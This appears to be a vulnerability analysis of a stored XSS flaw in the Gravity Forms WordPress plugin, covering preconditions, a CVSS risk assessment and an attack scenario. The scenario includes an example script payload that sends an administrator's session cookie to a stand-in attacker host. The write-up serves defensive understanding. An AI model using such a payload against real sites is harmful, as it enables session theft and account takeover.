Gravity Forms CVE-2026-5110

Requires the target WordPress site to use Gravity Forms plugin version ≤2.10.0 with a publicly accessible form configured to use SingleProduct fields nested inside Repeater fields. This specific nested field configuration is the prerequisite that enables the validation bypass - sites using SingleProduct fields outside of Repeater contexts or not using SingleProduct fields at all are not vulnerable. The form must be publicly accessible to allow unauthenticated submission (standard configuration for most Gravity Forms). Exploitation also requires an administrator to subsequently view the malicious entry via the WordPress admin panel (wp-admin/admin.php?page=gf_entries), making this a two-stage attack where payload delivery is unauthenticated but payload execution depends on admin interaction timing. The CVSS UI:N rating is misleading in this context - it applies to payload injection (no user interaction required for form submission) but not execution (requires admin to view entry). Attack vector is network-based (AV:N) against default WordPress/Gravity Forms configurations. No special network positioning, authentication, or platform requirements beyond the nested field configuration.

Real-world risk is MODERATE despite the 7.2 CVSS score. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C) indicates network attack vector with no authentication required and changed scope, but this is somewhat misleading - the UI:N rating applies only to payload delivery (form submission), not payload execution which requires administrator interaction (viewing entries). Attack complexity is low (AC:L) because exploiting the validation bypass requires only crafting form submissions with tampered product name fields. The Changed scope (S:C) is appropriate as the XSS executes in admin context with different privileges than the submission context. Impact is limited to Low Confidentiality and Low Integrity with No Availability impact (C:L/I:L/A:N), realistic for XSS that could steal admin session tokens or perform limited admin actions. No EPSS score, KEV status, or SSVC data provided for this CVE. Wordfence discovery suggests responsible disclosure. Exploitation requires the specific configuration of SingleProduct fields nested in Repeater fields, which limits attack surface to forms using this advanced feature combination. The requirement for admin interaction to view entries reduces immediate exploitation risk compared to client-side XSS, but stored XSS in admin panels is still a serious privilege escalation vector. Priority should be HIGH for organizations using Gravity Forms with the affected field configuration, MEDIUM for general Gravity Forms deployments pending patch confirmation.

An unauthenticated attacker identifies a WordPress site running Gravity Forms with a public form containing SingleProduct fields nested in Repeater fields. The attacker crafts a form submission with JavaScript payload injected into the product name field (input .1), such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. Because validate_subfield() only validates quantity and bypasses state validation for nested contexts, the malicious product name passes validation and is stored unsanitized in the WordPress database. When a site administrator logs into wp-admin and navigates to Gravity Forms entries (wp-admin/admin.php?page=gf_entries) to review submissions, the get_value_entry_detail() method outputs the unescaped payload, executing the JavaScript in the admin's browser. The script exfiltrates the admin's session cookie to the attacker's server, enabling account takeover. No public proof-of-concept identified at time of analysis, but the attack requires only standard form submission capabilities and knowledge of the nested field structure.